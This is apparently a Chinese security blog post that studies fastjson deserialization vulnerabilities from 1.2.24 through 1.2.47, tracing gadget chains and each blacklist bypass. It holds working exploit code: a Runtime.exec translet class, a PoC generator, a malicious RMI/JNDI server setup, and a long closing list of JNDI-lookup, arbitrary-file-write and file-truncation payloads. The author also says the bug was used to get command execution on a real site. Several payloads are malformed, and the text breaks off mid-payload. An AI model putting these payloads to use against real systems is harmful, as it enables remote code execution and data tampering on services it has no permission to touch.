实战中遇到了不少,现在特地学习一下
fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
由于其特点是快,以性能为优势快速占领了大量用户,并且其 API 十分简洁,用户量十分庞大,这也就导致了这样的组件一旦爆出漏洞,危害也将会是巨大的,因此,fastjson 从第一次报告安全漏洞至今,进行了若干次的安全更新,也与安全研究人员进行了来来回回多次的安全补丁-绕过的流程。
FastJson简单使用学习
简单学习了一下使用
User.java
package FastJsonDemo;
public class User {
private String username;
private String password;
public User(){}
public User(String name, String pass){
this.username=name;
this.password=pass;
}
public String getUsername(){
return username;
}
public void setUsername(String user){
this.username=user;
}
public String getPassword(){
return password;
}
public void setPassword(String pass){
this.password=pass;
}
@Override
public String toString(){
return "User [username=" + username + ", password=" + password + "]";
}
}
UserGroup.java
package FastJsonDemo;
import java.util.ArrayList;
import java.util.List;
public class UserGroup {
private String name;
private List<User> users=new ArrayList<User>();
public UserGroup(){}
public UserGroup(String name,List<User> user){
this.name=name;
this.users=user;
}
public String getName(){
return name;
}
public void setName(String name){
this.name=name;
}
public List<User> getUsers(){
return users;
}
public void setUsers(List<User> test){
this.users=test;
}
@Override
public String toString(){
return "UserGroup [name=" + name + ", users=" + users + "]";
}
}
Main.java
package FastJsonDemo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import java.util.ArrayList;
import java.util.List;
public class Main {
public static void main(String[] args) {
Main test = new Main();
test.ObjectToJson();
test.JsonToObject();
}
/*
Java对象转为 Json字符串
*/
public void ObjectToJson(){
//Java类转Json字符串
User user= new User("Mikasa","admin");
String UserJson = JSON.toJSONString(user);//转换
System.out.println("简单Java类转Json字符串:"+UserJson);
//List<Object>转json字符串
User user1= new User("test1","test");
User user2 = new User("test2","test");
List<User> users = new ArrayList<User>();
users.add(user1);
users.add(user2);
String ListUserJson = JSON.toJSONString(users);
System.out.println("List<Object>转字符串:"+ListUserJson);
//复杂Java类转Json字符串
UserGroup userGroup = new UserGroup("administrator",users);
String userGroupJson = JSON.toJSONString(userGroup);
System.out.println("复杂java类转json字符串:"+userGroupJson);
}
/*
Json字符串转Java对象
*/
public void JsonToObject(){
/*
* Json字符串转简单Java对象, 字符串: {"password":"123456","username":"demo"}
* */
String JsonStr1= "{'password':'123456','username':'demo'}";
User user= JSON.parseObject(JsonStr1,User.class);
System.out.println(user);
/*
Json字符串转List<Object>对象
*/
String JsonStr2="[{'password':'123123','username':'zhangsan'},{'password':'321321','username':'lisi'}]";
List<User> users = JSON.parseArray(JsonStr2,User.class);
System.out.println(users);
/*
Json字符串转复杂对象
*/
String JsonStr3 ="{'name':'userGroup','users':[{'password':'123123','username':'zhangsan'},{'password':'321321','username':'lisi'}]}";
UserGroup userGroup = JSON.parseObject(JsonStr3,UserGroup.class);
System.out.println(userGroup);
}
}
注意一点:使用FastJson序列化是,对象的函数要使用驼峰命名法,不然的话就是{},这里面遇到了这个小坑
其他一些关于FastJson的信息
https://su18.org/post/fastjson/#1-fastjson-1224
fastjson-1.2.24
摘要
在2017年3月15日,fastjson官方主动爆出在 1.2.24 及之前版本存在远程代码执行高危安全漏洞
影响版本:fastjson <= 1.2.24
描述:fastjson 默认使用 @type 指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。此漏洞开启了 fastjson 反序列化漏洞的大门,为安全研究人员提供了新的思路。
触发点TemplatesImpl反序列化
该类位于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
实现了 Serializable
接口
其成员变量 _class
是一个,Classs
的数组
其数组下标为 _transletIndex
的类在 getTransletInstance
中被实例化
在这个类中的 getOutputProperties
方法调用 newTransformer
方法
newTransformer
方法又调用了 getTransletInstance
方法
而 getOutputProperties
方法是类成员变量的 _outputProperties
的getter方法
因此我们这里面的调用链为
parse()->getOutputProperties()->newTransformer()->getTransletInstance()
接下来我们就要查看 _class
数组中的类我们是否可以控制,发现我们找不到 _class
变量的 getter以及setter方法,但是一个数值不可能就这样空着,在其他的地方肯定有赋值操作
发现在其构造函数以及 readObject
和 defineTransletClasses
中均有赋值
其中 defineTransletClasses
调用于 getTransletInstance
(还有很多地方也调用了,这里面使用是因为getTransletInstance最方便就在原来的链中)
调用 defineTransletClasses
之后就创建实例
进入 defineTransletClasses
看看
首先要求 _bytecodes
不为 null,接着调用自定义的 ClassLoader 去加载 _bytecodes 中的 byte[] 。而 _bytecodes 也是该类的成员属性,调用 setTransletBytecodes
方法去设置,是一个setter
接着将从 _bytecodes[i]
加载的类赋值给 _class
,但是我们要的是 _class[_transletIndex]
,这个值默认是 -1
,显然调用不到
后面循环判断每个类的父类是否是 ABSTRACT_TRANSLET
,是的话那么就会将 _transletIndex
设置为该类的下标
因此我们需要找到一个父类是 ABSTRACT_TRANSLET
的可用的类
完整的利用链为
1.构造一个TemplatesImpl类的反序列化字符串,其中 _bytecodes 是我们构造的恶意类的类字节码,这个类的父类是 AbstractTranslet,最终这个类会被载并使用 newInstance() 实例化
2.在反序列化过程中,由于getter方法 getOutputProperties(),满足条件,将会被 fastjson 调用,而这个方法触发了整个漏洞利用流程:getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() / EvilClass.newInstance()
其中,为了满足漏洞点触发之前不报异常及退出,我们还需要满足 _name 不为 null ,_tfactory 不为 null 。
由于部分需要我们更改的私有变量没有 setter 方法,需要使用 Feature.SupportNonPublicField 参数(_tfactory变量)。
Payload为
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQA...CJAAk="],
"_name": "xxx",
"_tfactory": {},
"_outputProperties": {},
}
一些反序列化的细节
https://paper.seebug.org/636/
Exp编写
随便写一个Java继承 AbstractTranslet
,实现其接口方法后,在构造函数中写好我们要实现的功能
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import java.io.IOException;
public class TemplatesImpl1224 extends AbstractTranslet {
public TemplatesImpl1224() throws IOException {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) throws IOException{
TemplatesImpl1224 test = new TemplatesImpl1224();
}
}
编译为 Class文件,然后读取其字节码Base64编码即可(FastJson对_bytecodes有base64解码的操作)
package exp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import sun.nio.ch.IOUtil;
import java.io.*;
public class TemplatesImpl1224Poc{
public static void main(String[] args) {
//生成的Class文件的路径
String EvilClass = "/Volumes/DATA/test/java/FastJsonDemo/target/classes/TemplatesImpl1224.class";
String evilStr=ReadClass(EvilClass);
System.out.println("Poc为:");
String Poc= "{"@type":"" + "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" +
"","_bytecodes":[""+evilStr+""],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }," +
""_name":"a","_version":"1.0","allowedProtocols":"all"}
";
System.out.println(Poc);
}
public static String ReadClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try{
IOUtils.copy(new FileInputStream(new File(cls)),bos);
}catch (Exception e){
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
}
测试一下看看
成功执行
Pom中依赖配置为
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.3</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.10</version>
</dependency>
</dependencies>
该方法有很明显的缺点: 若其反序列化中未配置 Feature.SupportNonPublicField
就GG了,是 _tfactory
变量的问题(该成员对象没有setter方法)
JdbcRowSetImpl 反序列化
JdbcRowSetImpl
类位于 com.sun.rowset.JdbcRowSetImpl
首先看一下 setAutoCommit
方法
当 this.conn
为null的时候会调用 connect
方法
该方法里调用了 javax.naming.InitialContext#lookup()
参数从成员变量 dataSource
中获取
故存在JNDI注入
JNDI注入(RMI+JNDI Reference)
首先需要了解RMI相关知识,这里不再赘述
根据RMI的知识可知:
是RMI服务器最终执行远程方法,在将结果返回给客户端,显然与我们的理解相背驰,这里面其实利用的是 JNDI References
详情可以参考:
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
做一个简单的小测试
Client.java(受害者)
package JNDI;
import javax.naming.Context;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception{
String uri = "";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
Server.java(攻击者)
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecTest","ExecTest","http://127.0.0.1:8081/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(aa);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
registry.bind("aa",referenceWrapper);
}
}
最后是我们的恶意Class文件
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class ExecTest {
public ExecTest() throws IOException,InterruptedException{
String cmd="whoami";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}
private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}
编译完后部署在http服务器上
javac ExecTest.java
python3 -m http.server 8081
运行 Client
以及 Server
即可
但是因为我的Java的JDK版本过高,存在 com.sun.jndi.rmi.object.trustURLCodebase
限制,这种方法客户端版本需要小于 8u121
才能利用
这里附一张绕过图 https://blog.csdn.net/caiqiiqi/article/details/105951247
问题不大安装一个在范围的JDK即可
当然我们自己搭建 JNDI
的话有点麻烦,有一些现成的工具可以使用
https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8081/#ExecTest 8088
起一个Rmi服务器,并且指定RMI端口为8088, http://127.0.0.1:8081/#ExecTest
则是我们部署的恶意Class
FastJson的Exp
回到我们的 FastJson
,我们看看完成这个攻击需要什么,首先是 setAutoCommit
这个setter,因此要对 AutoCommit
赋值,然后是 dataSource
这个成员变量,从这里面取出RMI地址,因此我们也需要赋值
故Exp为
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
成功了
LDAP+JNDI
之前说过JNDI注入的是有版本限制的,于是这里面采用 LDAP+JNDI
的方式(也有版本限制,不过较JNDI范围广一点),以后渗透过程中就主要尝试 LDAP-JNDI
注入,命中率更高一点
步骤都一样
后记:后面通过这个漏洞测出来了CSDN某分站有命令执行~
FastJson-1.2.25
摘要
在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType
安全机制,默认情况下 autoTypeSupport
关闭,不能直接反序列化任意类,而打开 AutoType
之后,是基于内置黑名单来实现安全的,fastjson也提供了添加黑名单的接口
影响版本:1.2.25 <= fastjson <= 1.2.41
描述:作者通过为危险功能添加开关,并提供黑白名单两种方式进行安全防护,其实已经是相当完整的防护思路,而且作者已经意识到黑名单类将会无穷无尽,仅仅通过维护列表来防止反序列化漏洞并非最好的办法。而且靠用户自己来关注安全信息去维护也不现实。
FastJson的更新主要位于 com.alibaba.fastjson.parser.ParserConfig
其中多了这几个成员变量
autoTypeSupport
用来标识是否开启任意类型的反序列化,并且默认关闭,字符数组 denyList
是反序列化的黑名单, acceptList
是反序列化白名单
这些在类实例化的时候会被设置
其中黑名单包括
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
添加白名单有三种方法
1.使用代码进行添加:ParserConfig.getGlobalInstance().addAccept("org.test.fastjson.,org.javaweb")
2.加上JVM启动参数: -Dfastjson.parser.autoTypeAccept=org.test.fastjson
3.在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.test.fastjson
看一下 checkAutoType
若开启了 autoType
,先判断类名是否在白名单中,如果在,就使用TypeUtils.loadClass 加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常
若没有开启 autoType
则是先使用黑名单匹配,再使用白名单匹配和加载。最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时才会调用 TypeUtils.loadClass 加载
跟一下 loadClass
这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [、L、; 字符
因此就在这个位置出现了逻辑漏洞,攻击者可以使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。因此,漏洞利用的思路就出来了:需要开启 autoType,使用以上字符来进行黑名单的绕过
最终的 payload 其实就是在之前的 payload 类名上前后加上L和;即可:
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
测试一下:
值得注意的是由于是 TypeUtils.loadClass
的缺陷,因此在其他的版本也可以使用(例如1.2.24)
FastJson-1.2.42
在版本 1.2.42 中,fastjson 继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 HASH 的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。
影响版本:1.2.25 <= fastjson <= 1.2.42
描述:一点也不坦诚,学学人家 jackson,到现在还是明文黑名单。而且到目前为止很多类已经被撞出来了。
还是关注 com.alibaba.fastjson.parser.ParserConfig
这个类
采用Hash的方式
并且在 checkAutoType 中加入判断,如果类的第一个字符是 L 结尾是 ;,则使用 substring进行了去除(去掉首位和末尾)
直接双写就能绕过了....
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
同样该Payload也能在低版本中使用(1.2.24或者之前的1.2.25)
小总结
从这可以看出,只要我们前面 L
与 ;
数量相同,那么利用 TypeUtils.loadClass
回调的缺陷,就能反序列化 com.sun.rowset.JdbcRowSetImpl
例如这里
五个对应的 L
与 ;
也是可以的
因此得出结论在 fastjson <= 1.2.42
环境下,这种方式是通用的
fastjson-1.2.43
该版本主要修复上一个版本中双写绕过的问题
影响版本:1.2.25 <= fastjson <= 1.2.43
描述:上有政策,下有对策。在 L、; 被进行了限制后,安全研究人员将目光转向了 [
在 checkAutoType
中
判断如果类名连续出现了两个 L 将会抛出异常
但是我们查看 TypeUtils.loadClass
的源码发现
也对 [
进行了回调,因此我们可以利用 [
绕过,并且前面没有对 [
进行过修补,因此我们甚至都不需要双写,最后调试可以得到Payload
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
{"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
测试了一下该Payload在其他的版本都可用
fastjson-1.2.44
这个版本主要是修复上一个版本中使用 [
绕过黑名单防护的问题。
影响版本:1.2.25 <= fastjson <= 1.2.44
描述:在此版本将 [ 也进行修复了之后,由字符串处理导致的黑名单绕过也就告一段落了。
fastjson-1.2.45
首先需要目标服务端存在 mybatis
的jar包,且版本为3.x.x系列 < 3.5.0 的版本
我们先看一下Poc
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}
可以看到在 setProperties
这个setter中调用了 lookup() 方法,但是我们控制的 JNDI
服务器地址在 Properties
这里面,跟进去看看
有个 setProperty
函数因此我们可以修改其成员变量,再看看前面
需要的正是 data_source
因此可以达成我们的攻击条件
测试在其他版本也可使用 (1.2.24等)
FastJson-1.2.47
在 fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。
影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport可以利用
影响版本:1.2.33 <= fastjson <= 1.2.47 无论是否开启AutoTypeSupport,都能成功利用
漏洞仍然在 checkAutoType()
中
首先判断类名非空,类名长度判断,不大于128不小于3,类名以 [
开头抛出异常,类名以 L
开头以 ;
结尾抛出异常
autoTypeSupport 为 true 时,先对比 acceptHashCodes 加载白名单项,在对比 denyHashCodes 进行黑名单匹配,如果黑名单有匹配并且 TypeUtils.mappings 里没有缓存这个类则抛出异常
尝试在 TypeUtils.mappings 中查找缓存的 class,尝试在 deserializers 中查找这个类,如果找到了对应的 class,则会进行 return
如果没有开启 AutoTypeSupport
,则先匹配黑名单,与之前逻辑一致
如果class还未空,则使用 TypeUtils.loadClass
尝试加载这个类
这里面存在一个逻辑问题: autoTypeSupport
为 true时,fastjson也会禁止一些黑名单的类反序列化,但是有一个判断条件: 当反序列化的类在黑名单中,且 TypeUtils.mappings 中没有该类的缓存时,才会抛出异常。这里就留下了一个伏笔。就是这个逻辑导致了 1.2.32 之前的版本将会受到 autoTypeSupport 的影响。
在 autoTypeSupport 为默认的 false 时,程序直接检查黑名单并抛出异常,在这部分我们无法绕过,所以我们的关注点就在判断之前,程序有在 TypeUtils.mappings 中和 deserializers 中尝试查找要反序列化的类,如果找到了,则就会 return,这就避开下面 autoTypeSupport 默认为 false 时的检查。如何才能在这两步中将我们的恶意类加载进去呢?
先看 deserializers ,位于 com.alibaba.fastjson.parser.ParserConfig.deserializers ,是一个 IdentityHashMap,能向其中赋值的函数有:
getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
initDeserializers():无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。
putDeserializer():被前两个函数调用,我们无法控制入参。
此我们无法向 deserializers 中写入值,也就在其中读出我们想要的恶意类。所以我们的目光转向了 TypeUtils.getClassFromMapping(typeName)
同样的,这个方法从 TypeUtils.mappings 中取值,这是一个 ConcurrentHashMap 对象,能向其中赋值的函数有:
addBaseClassMappings():无入参,加载
loadClass():关键函数
跟进去 loadClass
先进行非空判断,防止重复添加,在判断className 是否以 [ 开头,以及className 是否 L 开头 ; 结尾.如果 classLoader 非空,cache 为 true 则使用该类加载器加载并存入 mappings 中。
如果失败,或没有指定 ClassLoader ,则使用当前线程的 contextClassLoader 来加载类,也需要 cache 为 true 才能写入 mappings 中
如果还是失败,则使用 Class.forName 来获取 class 对象并放入 mappings 中
由上可知,只要我们能够控制这个方法的参数,就可以往 mappings 中写入任意类名。
loadClass
一共三个重载方法
我们需要找到调用这些方法的类,并看是否能够为我们控制:
Class<?> loadClass(String className, ClassLoader classLoader, boolean cache):调用链均在 checkAutoType() 和 TypeUtils 里自调用
Class<?> loadClass(String className):除了自调用,有一个 castToJavaBean() 方法
Class<?> loadClass(String className, ClassLoader classLoader):方法调用三个参数的重载方法,并添加参数 true ,也就是会加入参数缓存中
重点看一下两个参数的 loadClass 方法在哪调用
在这里我们关注 com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法,这个类是用来处理一些乱七八糟类的反序列化类,其中就包括 Class.class 类,成为了我们的入口
如果 parser.resolveStatus 为TypeNameRedirect 时,进入 if 语句,会解析 “val” 中的内容放入 objVal 中,然后传入 strVal 中。
后面的逻辑如果 class 是 Class.class 时,将会调用 loadClass 方法,将 strVal 进行类加载并缓存:
Exp为
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Command8",
"autoCommit": true
}
}
我们Debug一下
初始化 ParserConfig
初始化过程中 deserializers
将 Class.class
进行了加载
调用 checkAutoType
对类名进行检查
未开启 AutoType
进入 deserializers.findClass
由于在初始化时候载入了 Class.class
,因此clazz返回不为 null
后面直接返回函数值,绕过了未开启 AutoType
为False的检查
根据不同的 class 类型分配 deserialzer,Class 类型由 MiscCodec.deserialze() 处理
解析 json 中 var 中的内容,并放入 objVal 中, 如果不是 Val 将会报错
后面调用 TypeUtils.loadClass
加载并且缓存,此时恶意的 val 成功被我们加载到 mappings 中,再次以恶意类进行 @type 请求时即可绕过黑名单进行的阻拦,因此最终
不愧是FastJson最严重的漏洞,在很多低版本都可以使用
低版本基本都可以用
fastjson-1.2.68
待续
FastJson的Payload
按照前面的经验我们可以总结出一些最常用的Payload
com.sun.rowset.JdbcRowSetImpl
com.sun.rowset.JdbcRowSetImpl
反序列化(1.2.24)
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
com.sun.rowset.JdbcRowSetImpl
反序列化(1.2.24 <= fastjson <= 1.2.41)
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
com.sun.rowset.JdbcRowSetImpl
反序列化(1.2.24 <= fastjson <= 1.2.43)
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
com.sun.rowset.JdbcRowSetImpl
反序列化(1.2.24 <= fastjson <= 1.2.44)
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
{"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
需要依赖包Mybatis 3.x.x系列 < 3.5.0
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
反序列化(1.2.24 <= fastjson <= 1.2.45)
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}
1.2.47逻辑漏洞
影响版本: 1.2.24
影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport可以利用
影响版本:1.2.33 <= fastjson <= 1.2.47 无论是否开启AutoTypeSupport,都能成功利用
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Command8",
"autoCommit": true
}
}
其他有关的Payload(未测试)
SimpleJndiBeanFactory
{
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://127.0.0.1:23457/Command8",
"propertyPath": "su18",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
}
}
DefaultBeanFactoryPointcutAdvisor
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
},
"adviceBeanName": "ldap://127.0.0.1:23457/Command8"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}
WrapperConnectionPoolDataSource
{
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
}
JndiRefForwardingDataSource
{
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"loginTimeout": 0
}
InetAddress
{
"@type": "java.net.InetAddress",
"val": "http://dnslog.com"
}
Inet6Address
{
"@type": "java.net.Inet6Address",
"val": "http://dnslog.com"
}
URL
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}
JSONObject
{
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}
}
""
}
URLReader
{
"poc": {
"@type": "java.lang.AutoCloseable",
"@type": "com.alibaba.fastjson.JSONReader",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://127.0.0.1:9999"
}
}
}
AutoCloseable 任意文件写入
{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/path/to/target"
},
"parameters": {
"@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
"filename": "filecontent"
}
}
BasicDataSource
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
"driverClassLoader" :
{
"@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
}
}
JndiConverter(fastjson<=1.2.62)
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://127.0.0.1:23457/Command8"
}
JtaTransactionConfig(fastjson<=1.2.66),autoTypeSupport属性为true才能使
{
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type": "java.util.Properties",
"UserTransaction": "ldap://127.0.0.1:23457/Command8"
}
}
JndiObjectFactory(fastjson<=1.2.66),autoTypeSupport属性为true才能使
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://127.0.0.1:23457/Command8"
}
AnterosDBCPConfig(fastjson<=1.2.66),autoTypeSupport属性为true才能使
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}
AnterosDBCPConfig2
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}
CacheJndiTmLookup(fastjson<=1.2.66),autoTypeSupport属性为true才能使
{
"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"jndiNames": "ldap://127.0.0.1:23457/Command8"
}
AutoCloseable 清空指定文件
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
}
AutoCloseable 任意文件写入
{
"stream":
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
},
"writer":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.solr.common.util.FastOutputStream",
"tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
"sink":
{
"$ref":"$.stream"
},
"start":38
},
"close":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.iq80.snappy.SnappyOutputStream",
"out":
{
"$ref":"$.writer"
}
}
}
AutoCloseable MarshalOutputStream 任意文件写入
{
'@type': "java.lang.AutoCloseable",
'@type': 'sun.rmi.server.MarshalOutputStream',
'out': {
'@type': 'java.util.zip.InflaterOutputStream',
'out': {
'@type': 'java.io.FileOutputStream',
'file': 'dst',
'append': false
},
'infl': {
'input': {
'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
'limit': 22
}
},
'bufLen': 1048576
},
'protocolVersion': 1
}
BasicDataSource
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "true",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
}
HikariConfig
{
"@type": "com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}
HikariConfig
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}
HikariConfig
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}
SessionBeanProvider
{
"@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"Object": "su18"
}
JMSContentInterceptor
{
